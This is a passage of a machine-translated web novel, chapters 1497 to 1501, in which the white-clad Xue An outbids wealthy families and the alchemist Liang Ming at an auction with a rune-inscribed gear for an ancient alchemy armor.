    In fact, as soon as Zhuang Linyan and the others entered the arena, Liu Jingyi had already noticed Xue An walking in front.


    No way, Xue An, who was really dressed in white, was too eye-catching.


    Regardless of his appearance, the peaceful and indifferent temperament of Xue An was enough to make Zhuang Linyan who was following him instantly transform into a little maid.


    This kind of temperament naturally moved this Liu Jingyi easily, so after greeted her, she looked at Xue An with bright eyes, full of curiosity.


    Xue An didn''t feel anything about it. He didn''t even look at Liu Jingyi, and walked straight to the auction venue.


    Suddenly, an awkward atmosphere filled the field.


    There was a faint anger in Liu Jingyi''s eyes.


    You know, as the only daughter of Liu Zhang, an inner city boss, she has been accustomed to a life sought after by millions of people since childhood.


    No matter where she goes, she will always be the focus of everyone and the center of sight.


    Especially when she grew up and showed that amazing beauty, she became the target of many children of the family.


    This auction is naturally no exception.


    For the children of these aristocratic families, they just came to join in the fun, and even regarded it as a ballroom party, a place to compete.


    The appearance of Xue An also made Liu Jingyi feel a touch of heart for the first time, so she took the initiative to come forward to strike up a conversation.


    You must know that her usual personality is extremely arrogant, and it is extremely rare to take the initiative to talk to people.


    But never expected that the white-clothed boy didn''t even look at her, as if she was air, and left directly.


    This was the first time Liu Jingyi felt this humiliation in her life, and she was naturally full of resentment.


    As a friend of Liu Jingyi''s, Zhuang Linyan naturally knew her personality, and she felt a little bitter when she saw it. She knew that things were not good, and said quickly.


    "Jing Yi, this lord is a high-level mob, so he doesn''t know some manners, don''t mind!"


    I thought that uttering the three words mobster would make Liu Jingyi retreat.


    After all, for a wealthy daughter like her, there will never be an overlap with the violent villains walking on the wilderness.


    But Zhuang Linyan never expected that after hearing the mobster, Liu Jingyi''s eyes gradually lit up, "Mobster? Bounty hunter?"


    "Yes!"


    Liu Jingyi laughed, and suddenly lowered her voice and said, "Lin Yan, tell the truth, did you ask for that invitation specially for him?"


    Zhuang Linyan nodded, just about to say something.


    Liu Jingyi couldn''t wait to say: "Then what''s the relationship between you... and this guy? A couple?"


    Hearing these two lovers, Zhuang Linyan understood what Liu Jingyi was thinking, and couldn''t help crying or laughing.


    "What do you think, little girl! Why am I a lover with this adult?"


    When she said this, Zhuang Linyan couldn''t help but see the scene of Xue An''s slaughter of the entire outer city boss in one move, and she couldn''t help but shudder in Lingling.


    Zhuang Linyan is a very pragmatic person, so she naturally knows that people like Xue An are not something she can climb.


    Although full of gratitude for Xue An''s help, Zhuang Linyan knew that they were only a pure trading relationship, and naturally they never thought about it.


    Unexpectedly, Liu Jingyi was full of joy after hearing Zhuang Linyan''s response.


    "That''s good, since it''s not your man, then I''m not welcome!"


    "You''re welcome?" Zhuang Linyan was startled, and immediately understood what it meant, and said hurriedly: "Jing Yi, don''t be fooling around, this lord..."


    Before she finished her words, Liu Jingyi waved her hand impatiently, "Alright, Lin Yan, I know how to measure, but this guy dares to ignore my charm, I naturally have to let him know how powerful the Liu family is! "


    Zhuang Linyan was speechless at these words. Of course she knew Liu Jingyi''s temper and knew that it was useless to persuade her.


    Fortunately, this adult is here for the auction, and he should leave after it is over!


    When the time comes, this little Nizi can''t find anyone, and his mind will naturally fade after a long time.


    Thinking of this, Zhuang Linyan sighed helplessly.


    "I really can''t help you, let''s go, let''s go in too!"


    The auction venue is located in a very large and luxurious hall.


    In the middle of the circular seat is a high platform, which is used for display.


    But because it hasn''t officially opened yet, the platform is empty.


    But at the moment there are a lot of people on the auction floor.


    These people have different clothes. There are children from a family that are well-dressed, and there are also ordinary hunters who have a chill in their eyes.


    But the most eye-catching is the few people sitting in the front with arrogant faces.


    The average age of these people is no longer young, and some even have white beards.


    But regardless of age, these people are all wearing dark green robes. There is a tower-like pattern in the middle of the robes, and they are radiant with a slight movement and look quite extraordinary.


    After this period of understanding, Xue An naturally knew that the tall tower painted on the robe was the alchemist''s base camp and holy ground, the symbol of the Tower of Truth.


    By looking at the three gold leaves surrounding this tower, you can know that these people are all high-ranking alchemists.


    And looking at the respectful attitude of the people around to these high-ranking alchemists, it can be seen that in this bluestone city, the high-ranking alchemists are already considered to be the existence of the pyramid.


    But Xue An also noticed that At the end of these seats, there are boxes hidden under a black curtain.


    These boxes are specially prepared for those big people who don''t want to show their faces.


    At this moment, there are already people in these boxes, and from time to time, you can hear the voice of talking and laughing inside.


    After Xue An looked around, he directly found a remote corner and sat down.


    Although he was wearing a white coat, there was nothing strange about it.


    But because of the extraordinary temperament, it still made the ordinary people sitting around a little nervous.


    Of course, ordinary people who can enter this auction venue are considered to be the best in Bluestone City.


    For example, a gorgeous woman sitting not far away, after seeing Xue An��s arrival, immediately sat up straight, showing her proud figure, fiddled with her hair from time to time, and deliberately showed off to Xue An. The few Mithril rings.


    It''s a pity that she still paid the wrong way after all.

 Chapter 1497： Wonderful

    From the beginning to the end, Xue An never looked here. He just leaned back on the chair leisurely and stared at the high platform in front, not knowing what he was thinking.


    But this kind of concentration made the woman feel more moved, and she couldn''t help but stood up and wanted to come over.


    But at this moment, Liu Jingyi took the first step to sit next to Xue An, and then gave the woman a cold glance, her red lips lightly opened.


    "roll!"


    This attitude naturally made the woman very unhappy. Just as she was about to have an attack, someone beside her grabbed her and whispered something in her ear.


    After listening, the woman''s face immediately became very pale, she didn''t even dare to look at Liu Jingyi, turned around and fled.


    Liu Jingyi was quite satisfied with this, and then unscrupulously raised her long leg on the front seat, smiled and said, "Hey, meet again so soon?"


    no respond.


    Xue An leaned on the chair like a wooden sculpture made of clay, and even slowly closed his eyes.


    This attitude instantly ignited Liu Jingyi''s anger.


    How dare to ignore this girl so much, I must make you look good!


    Thinking of this, the smile on Liu Jingyi''s face became sweeter.


    "Mr. Xue, the location here is not too good. How about going to the back box? I have a lot to say to Mr. Xue..."


    Before the words fell, Xue An suddenly opened his eyes, turned his head and glanced at her faintly.


    This glance made Liu Jingyi swallow all the words behind.


    Because this look is simply terrifying.


    At a certain moment, Liu Jingyi even suspected that she was not being stared at, but by a mechanical tyrannosaurus.


    The panic from the bottom of her heart made her tremble slightly, and her face gradually turned pale.


    Fortunately, Xue An only gave a startled glance, and then narrowed his gaze, and continued to lean on the chair to sleep.


    "I don''t like noise, so please close your mouth and be quiet! Understand?"


    Hearing Xue An''s cold and unfeeling words, Liu Jingyi bit her silver teeth secretly, her eyes full of anger and humiliation.


    She has never been treated this way before.


    But the more it was, the more it aroused her enthusiasm.


    In particular, Xue An''s strength just revealed has satisfied all her illusions about the mobs.


    That''s right!


    In the eyes of this girl who has lived in a honeypot since she was a child, those rogues who walked on various wastelands and depend on bounty for a living are an extremely romantic profession.


    This is why she was not surprised but delighted after hearing Zhuang Linyan''s warning.


    Therefore, she bit her vermilion lip with her teeth, and suddenly laughed happily, and then she leaned back on the chair and looked at Xue An quietly.


    This is her trick!


    Few people can remain calm under the gaze of a beautiful girl.


    At least Liu Jingyi has never seen it.


    But this time she miscalculated.


    No matter how she showed all kinds of flattery, Xue An completely ignored her like the air.


    This aroused Liu Jingyi''s enthusiasm more and more, so she didn''t mean to shrink at all, she just kept staring at Xue An.


    And this scene was also noticed by many people in the field.


    After all, Liu Jingyi is a star in the inner city of Bluestone.


    Especially the children of the aristocracy who are eager to get a position, they even look upon the only daughter of the Liu family.


    Not always thinking about getting her attention.


    But without exception, these people all failed.


    Therefore, Liu Jingyi is also called the most difficult metal rose in the inner city by many people!


    But they never expected that today they saw a side that Liu Jingyi had never shown to outsiders.


    The tender eyes and the coquettish expression on his face made the eyes of many aristocratic children look straight.


    But soon, the faces of these aristocratic children became gloomy.


    Because Liu Jingyi''s expression is beautiful, but when the object of attention is not herself, but a strange boy who has never seen her.


    The hearts of these aristocratic children were naturally very uncomfortable.


    For this, Zhuang Linyan naturally saw it, but she could not do anything about it and could only pray silently.


    I hope this auction will end safely!


    At the same time, this scene was also noticed by people in a box.


    Liu Zhang frowned slightly, "What is the girl Jingyi doing? How well is she in the public?"


    "Patriarch, should I go and chase away this young man who doesn''t know where to jump out now?" The butler bowed.


    "No, the auction is about to begin. It''s not worth fighting for such a small matter. After the auction is over, send a few people to deal with this guy!"


    "Yes!"


    "Remember to clean your hands and feet!"


    "understand!"


    Finally, when Liu Jingyi felt that her face was almost sour, with the sound of the gong, the auction finally officially kicked off.


    In an instant, the lights in the audience dimmed.


    Immediately afterwards, I saw a beam of white light shining on the high platform, and on the previously empty table, a well-dressed middle-aged man suddenly appeared.


    This man has a long beard and his eyes are as sharp as a falcon, so when he looks around the audience.


    The originally restless auction venue immediately quieted down.


    Because this man is very famous, knows countless treasures, and is famous throughout the bluestone wilderness by his unparalleled eyes, and even spread to Wen Jinkui in several surrounding cities.


    In previous auctions, he rarely appeared, even if he appeared, he appeared as the finale.


    But this time he appeared at the beginning of the game, which shows how extraordinary this auction is.


    While everyone was silent, Wen Jinkui bowed slightly to the box with an unmoving expression, and then nodded to the alchemists in the front row.


    "All of you are here to hunt for treasure so Jinkui doesn''t say much, and now the auction officially begins!"


    Following the voice, a table floated on the high platform, and a brocade box was placed on it.


    When the brocade box was opened, there was a beating mechanical heart inside.


    "A brand new mechanical heart, from the handwriting of the plague doctor Master Huang, powerful and reliable! The reserve price is one thousand blue gears, and the bidding starts now!"


    Just the first thing in the opening made everyone in the audience shocked.


    Master Huang, the plague doctor, is well-known for a long time. He is a master who specializes in making mechanical parts of the human body. However, he rarely makes shots, so there are not many things circulating about him in the world, let alone this kind of labor and labor. Of the mechanical heart.


    In previous auctions, this kind of thing can even appear as the finale.


    But at this auction, it was only used as an opening, and it was really easy to start.


    This has also made many people more and more interested in the following auctions.

 Chapter 1498： Finale, rat-shaped alchemy armor

    After a period of fierce bidding, the mechanical heart was finally sold for 1,800 blue gears.


    The purchaser was a wilderness hunter. After obtaining the things, he immediately left happily.


    For these hunters walking in the wilderness, there is nothing better than a powerful mechanical heart as a human body component!


    This will greatly enhance their survivability.


    But this was only the beginning, and soon the second lot was also on the table.


    "A premium purple alchemy gear, which can be used to perfectly inlay alchemy items and can be upgraded! Starting at 10,000 blue gears, start bidding!"


    After seeing the perfect and unspeakable gear on this high platform, the previous alchemists all showed a glow of excitement.


    Purple gears are rare, let alone this kind of thing that can be advanced.


    Therefore, there was another fierce bidding, and the transaction was finally sold at a sky-high price of 20,000 gears.


    At this time, the atmosphere in the audience was completely heated.


    The next few treasures were sold at high prices.


    The whole process was wonderful, but Xue An, who was sitting in the corner, had no expression on his face, watching the whole process quietly, without the slightest intention of taking action.


    Seeing this scene, Liu Jingyi frowned slightly, and immediately understood something, and then laughed in a low voice: "Mr. Xue, are you short of money? It doesn''t matter, as long as you like something, you can do it, I Come and pay for you!"


    Xue An glanced at her and suddenly asked: "Are you rich?"


    "Of course! Who doesn''t know in the entire bluestone inner city?" Liu Jingyi said proudly.


    Xue An smiled.


    This laugh made Liu Jingyi completely dazzled.


    But at this moment, Xue An turned around and said indifferently: "No need, and it seems that you can''t pay for what I am after!"


    "What?" Liu Jingyi was startled when he heard the words, and immediately pursed her face with displeasure, "Mr. Xue, I hope you can understand what you mean. In Qingshicheng, as long as it is what I want , There is nothing I can''t get!"


    Xue An just smiled indifferently and didn''t speak at all.


    But Liu Jingyi sighed secretly in her heart.


    Actually look down on the financial resources of my Liu family? Well, I''ll show you what Hao Heng is later!


    Liu Jingyi secretly made up her mind.


    At this moment, the atmosphere in the auction venue was almost white-hot.


    Especially when a top-quality mechanical puppet appeared, it instantly detonated the atmosphere of the audience.


    "Everyone, how valuable is a mechanical puppet that can grow on its own? I won''t need to introduce it! So there is not much to say, the reserve price is one hundred thousand blue gears, and now we start bidding!"


    hiss!


    Many people in the court gasped.


    One hundred thousand blue gears, even for these rich people, can be considered a sky-high price.


    In fact, Koppert could fight Andrew just for a gear with a silky purple luster, which also shows the preciousness of gears.


    But this price is unbearable for ordinary people, but for those high-ranking alchemists who have mastered the mystery of alchemy, it is acceptable.


    Especially this thing is still an extremely rare self-growth type alchemy puppet, so these high-ranking alchemists immediately became active and began bidding.


    Soon, the price rose from 100,000 alchemy gears to 180,000.


    This price has exceeded the most expensive record in previous auctions, and even these wealthy high-ranking alchemists have shown a little cold sweat.


    But just as Wen Jinkui was about to drop the hammer, a faint voice suddenly came from a box.


    "Two hundred thousand, plus a lavender gear!"


    boom!


    This bid immediately shocked the audience.


    Including the high-ranking alchemist who had previously reached 180,000, his face was even more gloomy.


    But after hearing this voice in the box, Wen Jinkui''s face showed respect, and then he bent slightly.


    "Yes, my lord!"


    After that, he didn''t even ask if there was anyone bidding, and he just dropped the hammer.


    This scene also shocked many interested people in the field.


    What is the origin of the people in this box that can make Wen Jinkui, a well-known discerning eye, so respectful?


    Even Liu Zhang frowned slightly, "What''s the matter? Who is the bidder?"


    "Master, I have sent someone to investigate, but I don''t know yet!"


    At this moment, Wen Jinkui took a deep breath, looked at the audience with piercing eyes, and then said solemnly.


    "Everyone, the other lots are now finished, but I can say responsibly that none of today''s items combined can compare to half the value of the next item!"


    Upon hearing this, there was a commotion in the audience.


    Many people who thought that this alchemy puppet was the last lot were stupid.


    So many precious things are less than half of this finale lot. What kind of treasure is that?


    Wen Jinkui was very satisfied with everyone''s reaction and couldn''t help but smile: "To be honest, I have been in the industry for more than a hundred years, but this is the first time I have seen this kind of alchemy item! So everyone is right this time!"


    "On sale!"


    Following Wen Jinkui''s instructions, several burly men wearing auxiliary mechanical exoskeletons struggling to lift a box and walked up slowly.


    When the box was placed on the ground, a muffled sound even resounded throughout the venue.


    Then Wen Jinkui stepped forward piously and opened the lid of the box.


    At this moment, a light golden brilliance shone out instantly.


    Everyone shook for it.


    Immediately afterwards, Wen Jinkui took a deep breath and slowly lifted the contents out.


    This is a token with a pale golden luster.


    Then Wen Jinkui gave a sharp grip.


    Click!


    With the sound of gears turning, this token began to deform and instantly transformed into a gleaming alchemy armor.


    No words can describe the exquisiteness and perfection of this alchemy armor.


    That kind of mechanical beauty is fully demonstrated.


    The helmet is in the form of a mouse, despite this it still gives people a sense of vastness and power.


    The audience was silent at first, and even after a complete commotion.


    "My God, alchemy armor!" Someone exclaimed.


    "Yes, and it''s the kind of armor that can be bound! This technique has long been lost, so it can only come from the ancient civilization period!" Someone murmured.


    "I can see such treasures in my life, I will die without regret!" an old man cried.


    The high-ranking alchemists sitting in the front row suddenly stood up, the shock in their eyes was beyond words, and even their voices trembled.


    "Wen Jinkui, how much is this treasure?"


    "Yes! Come on, what''s the starting price!"


    Wen Jinkui smiled when he heard the words, "Be safe, don��t worry, the preciousness of this thing is hard to measure with money, so after discussing with the seller, we decided that this treasure will be sold in 10,000 pieces of purple. The gear��s starting price is now on auction!"


    This price made the audience silent instantly.

 Chapter 1499： I bid...1

    Ten thousand purple gears, the price has exceeded many people''s imagination.


    "In fact, this price is not expensive, because if this item is shipped to those big cities for auction, the price will be higher than this! Of course, the seller also said that you can also use high-quality alchemical items to discount the price. Buy this item, or even if there is an item that can make the seller��s heart beat, you can directly redeem this rare treasure!"


    "So now... everyone start bidding!" Wen Jinkui said with a smile.


    The audience lost their voice for a moment.


    After all, the value of this alchemy armor is beyond the reach of many people.


    But then, Liu Zhang in the box couldn''t wait to stand up and shout: "I would like to give out five thousand purple gears, plus ten ancient alchemy items!"


    The price spread throughout the audience in an instant, and many people heard that this was the voice of the inner city tycoon Liu Zhang, so they all shut up.


    Even those high-ranking alchemists all looked depressed.


    Because the price is no longer affordable.


    So the court suddenly quieted down.


    When Liu Zhang saw this, a triumphant smile appeared on his face, and then greedily stared at the alchemy armor on the high platform, thinking that he had already obtained it.


    But at this moment, another voice came from the box where the alchemy puppet was photographed.


    "Ten thousand purple gears, plus...20 ancient alchemy items!"


    boom!


    There was a great uproar in the audience.


    Liu Zhang''s face suddenly changed with anger.


    He hadn''t seen such an offer yet, it was obviously aimed at himself, so his eyes were filled with murderous intent immediately, and then he said angrily.


    "Old man, where did this guy who shouted prices come from? Isn''t he here to make trouble? As far as I know, no one in the entire Bluestone Wilderness can afford this price, right!"


    Wen Jinkui said indifferently, "Mr. Liu, this is not something you should worry about! Our auction will have regulations, as long as anyone who can enter the box will have a corresponding identity!"


    "So... Since this gentleman bids, it means he can afford it!"


    These words made Liu Zhang''s expression gloomy for an instant, and then stared at the vocal box, his eyes full of bitter killing intent.


    He really wanted to rush to kill this guy who disrupted his rhythm now.


    But he dare not!


    Even though he was a tycoon in Bluestone City, he didn''t dare to make a mistake in this auction.


    Because in this world, auctions are all under the jurisdiction of the auction alliance.


    The strength of this behemoth is not inferior to the existence of the Alchemist''s Tower of Truth and the Hunter''s Guild.


    So he could only open his mouth with a sullen expression, but couldn''t say anything.


    Because the price he paid before is already his limit.


    It is impossible to exceed the bid for this box.


    The audience also fell silent.


    Everyone waited quietly, thinking that this alchemy armor would eventually be owned by the mysterious person in the box.


    Although the whole process is very long to say, it actually took only a few minutes from the appearance of this alchemy armor to the present.


    During this whole process, Xue An did not speak, but quietly looked at the alchemy armor on the stage.


    In his hand, another token was also emitting a faint glow, and there were twelve squares on top of this token.


    At this moment, two squares have been filled, namely a portrait of a blood tiger and a portrait of a sheep.


    And it is the first square that glows.


    After a long time, Xue An narrowed his eyes, and a faint smile appeared at the corner of his mouth.


    "It''s really interesting, it''s really a surprise to be able to meet this thing here!"


    The words were slight, but Liu Jingyi on the side heard them all.


    In fact, she was also fascinated by the power and perfection of this alchemy armor.


    But when she heard Xue An''s words, she suddenly got a shock, remembering her previous "Kuangyan", and couldn''t help but groan secretly.


    Although she is arrogant, she also knows the value of this kind of treasure.


    What''s more, she had also heard her father''s offer before. It was an astronomical figure, but there were obviously more arrogant people.


    So there was an awkward look on her face, she was about to speak.


    Xue An seemed to see her expression, and said lightly: "I said, you can''t afford what I want, do you understand now?"


    This kind of words with a hint of sarcasm made Liu Jingyi instantly angry.


    "I admit that I can''t afford it, but you can''t afford it, too?" Liu Jingyi said coldly.


    Xue An smiled, "Who said...I can''t afford the price?"


    "Huh?" This answer made Liu Jingyi''s eyes widen.


    at the same time.


    Seeing Xue An slowly raised his hand and said lightly: "Bid, a purple gear!"


    As he said, a blue gear with a hint of lavender appeared in his hand. It was the gear that caused the incident when he first came to this world.


    And this bid also silenced the audience, and even burst into laughter.


    "My God, is this guy a fool, right?"


    "Everyone came out with 10,000 purple gears plus 20 alchemy items, but he shouted the price for one. Did he come to make fun?"


    These ridicule voices suddenly appeared everywhere.


    Especially when those aristocratic children saw that it was the boy who was sitting with the goddess Liu Jingyi in their hearts that was talking, they laughed sarcastically.


    "Tsk tusk, this kid is a bunny who has never seen the world!"


    "Yes, it is estimated that this purple gear is all his wealth!"


    In these sneers, Liu Jingyi couldn''t help being startled, and then she couldn''t help showing a look of contempt.


    Not being able to afford it is not a big deal, but it is really disgusting to pretend to be X.


    Including Zhuang Linyan is also stunned, obviously not knowing what Xue An wants to do.


    The smile on Wen Jinkui''s face grew colder, and then he said in an indifferent tone: "This gentleman, if you want to be funny, then your goal has been achieved, so I hope you won''t talk about it next time. Otherwise I will let the guard invite you out!"


    Xue An smiled faintly, "Do you think I''m making fun?"


    "Isn''t it?" Wen Jinkui sneered.


    Xue An gently tossed the purple gear in his hand and smiled slightly, "Of course not!"


    As he said, he saw the brilliance flashed in Xue An''s eyes, and an extremely complicated talisman appeared in front of him instantly.


    As soon as this talisman came out, Guanghua directly illuminated the audience, and at the same time made everyone''s eyes gradually widened Even the box that kept silent except for the quotation came from this moment. There was a cry of surprise.


    Xue An showed a cold smile, raised his hand to pinch the talisman, and suddenly pressed the purple gear in his hand.


    Bang!


    After a crisp sound, this talisman seal directly merged with this talisman seal.


    Then he floated into the air, slowly spinning.


    The exquisite and profound lines on the gears are dazzling at first glance.


    Then Xue An waved his hand, this unrecognizable gear turned into a brilliant light and went straight to the high platform.


    There was a low exclamation from the audience, and Wen Jinkui''s expression was also pale.


    But at this moment, the gear stopped for an instant, and then floated in front of Wen Jinkui.


    Xue An said indifferently: "This is my offer, do you think... is it enough?"

 Chapter 1500： Runes are stunning, the alchemist is now

    Wen Jinkui stared at the gear floating in front of him blankly, his countless eyes widened gradually, and the expression on his face became more excited.


    "This...this is a rune that has never appeared before! But I can feel that there is an extremely powerful force in it! God, this is incredible..."


    Wen Jinkui muttered to himself with a demented expression.


    No wonder he was so shocked. As an auctioneer with extremely high vision, he knew too well what a brand new rune had never appeared before!


    That may represent a brand-new power, a vast world that has not been unearthed.


    And in this declining age of alchemy, if you can master a brand new power, to a large extent it means vast wealth and extremely high status.


    How could this not shock Wen Jinkui.


    At the same time, after hearing Wen Jinkui''s muttering to himself, there was an uproar in the audience.


    The high-ranking alchemists in the front row had already stood up and rushed to the high platform impatiently, watching the runes on the gear almost greedily.


    But after just watching the scenes of a few breaths, the eyes of these high-ranking alchemists showed blood. Before they could react, drops of blood and tears fell from their eye sockets.


    "No! Close your eyes, everyone. The rank of this rune is extremely high, and it is beyond our understanding. Don''t look at it!" a high-ranking alchemist exclaimed.


    Hearing his shouts, the other high-ranking alchemists hurriedly closed their eyes, turned their heads to one side, and dared not look any more.


    But the other people in the field didn''t have these things. They all looked curiously at the floating gear on the high platform, and many people''s eyes showed shock.


    They also heard Wen Jinkui''s previous words.


    If it were a brand new rune that had never appeared before, then the value would be too great.


    But the point is that besides being too handsome, why does this young man who does not seem surprisingly have such runes?


    This question also lingered in Liu Jingyi''s heart.


    She looked at Xue An with a look of astonishment, and suddenly found that all her previous predictions of this young man were wrong, and that they were all wrong.


    It''s ridiculous that I just thought he was very self-righteous. Now it seems that he should be the one who is self-righteous!


    And the most powerful family children who had ridiculed Xue An before were even more stunned, and a look of fear gradually emerged in Xue An''s eyes.


    At the same time, Xue An calmly said to Wen Jinkui on the high platform: "Is it enough to answer my question?"


    Wen Jinkui trembled all over, and then he woke up from the shock of loss, and then a solemn expression appeared on his face, and he first saluted Xue Anshen.


    "I''m sorry, my lord, I just had no eyes and I was a little bit scornful to the adults! As for the bidding question you asked, I dare not call the shots. I need to contact the seller!


    Xue An smiled at the corner of his mouth, "Okay! Then I''ll wait!"


    But at this moment, only a voice came from the box behind me.


    "Wait!"


    Then the black curtain was suddenly pulled open, and a figure appeared in the box.


    After seeing this figure, the auction venue, which had just resumed calm, made waves again.


    "How is it possible!" Many people stood up with shocked faces.


    And these high-ranking alchemists, who had their eyes above the top and looked arrogant, were even more shocked when they saw this figure, and then they stood with their hands in place in fear, and said: "I have seen brother!"


    That''s right!


    The man who appeared in the scene was wearing a lavender robe, with the same logo of the Tower of Truth painted on it, but beside the tattoo of the Tower of Truth, it was not three leaves, but a golden rose!


    And this is the sign of the alchemist in the Tower of Truth.


    Although the difference between the alchemist and the alchemist is only one word, the difference in strength between them is huge.


    To become an alchemist, all that is needed may only be strong financial resources and slightly better talents.


    But if you want to be an alchemist, it''s not that simple.


    This not only requires sufficient talent and financial resources, but also has to pass the repeated assessments of the Tower of Truth before being eligible to put on a purple robe.


    So when these alchemists saw the flower patterns on this man''s body, they immediately looked like a mouse and a cat. They didn''t even dare to breathe, and shouted respectfully to the senior.


    This is also a customary rule in the Tower of Truth. Regardless of age, as long as the opponent is stronger than you and rank higher than you, you must respectfully call you brother.


    Facing the honorific titles of these alchemists, the man just nodded slightly, and then took a deep look at the gear that was still floating on the high platform, and a look of surprise appeared in his eyes.


    But soon, he returned to normal, and then smiled at Wen Jinkui.


    "Mr. Wen, don''t worry about this! I have a few words to say to this friend!"


    Wen Jinkui couldn''t help hesitating slightly when he heard him say this, and then looked at Xue An.


    He doesn''t know how to deal with this matter now.


    Xue An just smiled at this, "What do you want to say to me?"


    "Introduce yourself first, my young man, Liang Ming, is an alchemist who has passed the official assessment of the Tower of Truth!" The man said with a smile, but there was a little pride hidden in his smile.


    really.


    When he heard his name, many of the more knowledgeable people were shocked.


    "Liang Ming! Is he the alchemist who has gained fame in recent years?"


    "I heard that he is the most promising genius to be promoted to the Great Alchemist before the age of 40!"


    In the exclamation, the standing posture of those alchemists couldn''t help being more standard!


    Even Liu Zhang in the box couldn''t help but shook his whole body after hearing the name, and then sat down on the chair, completely cut off hope.


    Can attract the coveting of such a famous alchemist, obviously this alchemy armor has no chance with him.


    Liang Ming was obviously satisfied with everyone''s reaction, and couldn''t help laughing more happily.


    "Friend Although I don��t know how you got this thing, I have to say, it��s really a hero from a young age!"


    Xue An raised his eyebrows slightly, and said with a non-smiling smile: "What then?"


    Xue An''s attitude made the man''s face a little ugly.


    He thought that based on his identity and status, with such compliments, how could this young man in white clothes have to perform.


    In the end, I didn''t expect that the other party was totally unconscious!


    But soon, Liang Ming returned to normal, and then said with a smile: "Friend, let''s be honest, I will definitely get this thing, because it is very important to me! And friend, you are not an alchemist, this one The ancient armor is not very useful in your hands, so it''s better!"


    "You withdraw from the bidding, and I... will give you some reasonable compensation!"


    "Reasonable compensation?" Xue An smiled, "What compensation?"


    "Very simple, you will get the friendship of an official alchemist from the Tower of Truth!" Liang Ming said proudly.

 Chapter 1501： Aggressive, kill directly

    The audience suddenly became quiet, and everyone looked at Xue An, wanting to know the reaction of the boy in white.


    At the same time, there are many people secretly thinking.


    On the surface, it seemed that the boy in white had suffered.


    But as Liang Ming said, although this alchemy armor is precious, it is not very meaningful to an ordinary person.


    So if you can get the friendship of an alchemist by withdrawing from the competition, that''s a very cost-effective business.


    And Liang Ming said proudly at this time: "And I have to add that I am the only one in the Tower of Truth in the past 100 years to break through as an alchemist at the age of 30, and I am very confident that I will break through as an alchemist before the age of 40. Master��s people!"


    "So... I think you should think about it, my friend!"


    These words were soft and thorny, and they were boasting about their achievements on the bright side, but in fact they were beating Xue An in secret.


    The meaning is obvious, it is to let Xue An know as much as possible.


    Xue An didn''t say a word, just watched quietly, as if thinking about something.


    Liu Jingyi sighed softly when she saw this.


    Although she was quite ruthless, she also knew that an alchemist like Liang Ming could not afford to provoke her or even the entire Liu family.


    Although this Mr. Xue is a runaway villain, he must bow his head obediently!


    But the smile on Liang Ming''s face gradually increased, just when he was about to speak.


    Xue An suddenly shook his head and chuckled, "I''m sorry, I won''t agree to your conditions!"


    boom!


    There was a low commotion in the audience.


    Many people were shocked.


    Especially Liu Jingyi, Huo Ran raised her head even more, thinking that she had heard it wrong.


    Liang Ming''s expression turned gloomy for an instant, and he said gloomily: "My friend, I think this condition is good enough, so I hope you can think about it before you talk!"


    "Don''t think about it!" Xue An waved his hand and said lightly: "Because I am not interested in your so-called friendship!"


    "You..." Liang Ming''s expression changed suddenly.


    Xue An interrupted Liang Ming''s words directly, and continued to say unhappily: "And I''m really a little puzzled, how thick-skinned you have to be so embarrassed to praise yourself as a genius!"


    "After all, I have only been promoted to an alchemist at the age of thirty...If I were you, I would have found a rope to solve myself, and I would be embarrassed outside, are you right?"


    "Pump!" Liu Jingyi couldn''t help but laughed out loud.


    Although she quickly covered her mouth, the smile in her eyes betrayed her.


    This guy is so poisonous when he speaks!


    This is simply too bad!


    really!


    Liang Ming was almost mad at Xue An''s remarks. He roared and said: "You don''t know how high the sky is, you..."


    The voice did not fall.


    Wen Jinkui said coldly: "Master Liang, I hope you can calm down, after all... this is the auction venue!"


    Hearing these words, Liang Ming was shocked and immediately calmed down.


    He is very clear about the rules of the auction venue.


    No matter who you are and what kind of hatred you have, you are not allowed to fight on the auction venue, otherwise you will pay a heavy price.


    There used to be strong people who did not believe in this evil, and as a result their bones are now rusted.


    So he immediately suppressed the fury in his heart, glared at Xue An viciously, then turned his head, took a deep breath, and arched his hand at Wen Jinkui.


    "Mr. Wen, I''m really sorry, I was a little impulsive just now!"


    Wen Jinkui nodded nonchalantly.


    His strength is not high, and he usually respects alchemists like Liang Ming.


    But this does not mean that he can allow Liang Ming to break the rules of the auction venue.


    Especially now, even if Liang Ming apologized to him, he just accepted it calmly.


    Because what he represents at this moment is the dignity of the entire auction alliance.


    "Then Master Liang will continue to bid?" Wen Jinkui regained his calm and said in an official tone.


    Liang Ming''s face showed a touch of flesh pain, but when he saw the gleaming armor floating in the air, he couldn''t help gritting his teeth and then nodded.


    "Of course you have to bid!"


    As he spoke, he carefully opened a bracelet on his hand.


    With a faint sound, the bracelet quickly disintegrated, and then changed into a small box that was not the size of a palm, but was extremely delicate.


    The painful color on Liang Ming''s face was almost overflowing, but he managed to open the box and took out two black crystals that exuded a simple and desolate atmosphere.


    "The two crystals contain a full set of formulas for the two forged metals. They are relics from the ancient times. Now I will use them to bid!"


    Metal formula...


    Everyone was speechless.


    Because this kind of thing has always only appeared in legends, this is the first time everyone has seen the real thing.


    And the degree of preciousness of this thing far exceeds that of ordinary alchemy artifacts.


    After all... being able to make alchemy artifacts and owning them are two different things!


    Even Wen Jinkui raised his eyebrows slightly after seeing these two things.


    Because he knew that Liang Ming had obviously made a real move!


    So when he took the two black crystals, checked them carefully, and determined that they were true, he turned his head and looked at Xue An.


    "This gentleman, now Master Liang has already issued another price. The combined price of the items he provided is obviously higher than what you provided, so can you still bid?"


    "If you don''t make a bid, then it is considered a withdrawal, and this thing will belong to Master Liang!"


    The eyes of the audience instantly converged on Xue An.


    Liu Jingyi shook her head secretly!


    In her opinion, it was a fluke that Xue An had just taken out such a treasure.


    Now facing the aggressive Liang Ming, how can he continue to bid?


    Why not just give up!


    It''s a sigh that he shouldn''t have rejected Liang Ming''s words just now!


    This is also the common idea of ??many people at the moment.


    Liang Ming even sneered when he saw this, and he secretly said that he wanted to fight me? You are still tender!


    And when this auction is over, I want you to look good!


    But just when Liang Mingzhi was so proud he thought he had the winning ticket.


    Xue An suddenly showed white teeth, his eyes narrowed, and he smiled happily, "Bid? Of course, I have to bid! Otherwise, this game is so boring!"


    Wen Jinkui was startled slightly, then nodded, "Well, then please sir..."


    Before he could speak, he was stunned.


    Not only him, everyone in the audience instantly opened their eyes wider than the copper bell, and looked at the scene in front of them with dull faces.


    Seeing Xue An''s body, the airflow was disturbed, and the brilliance appeared.


    Then I saw very mysterious and complex runes emerge one after another.


    In an instant.


    Countless Fulu appeared around Xue An.


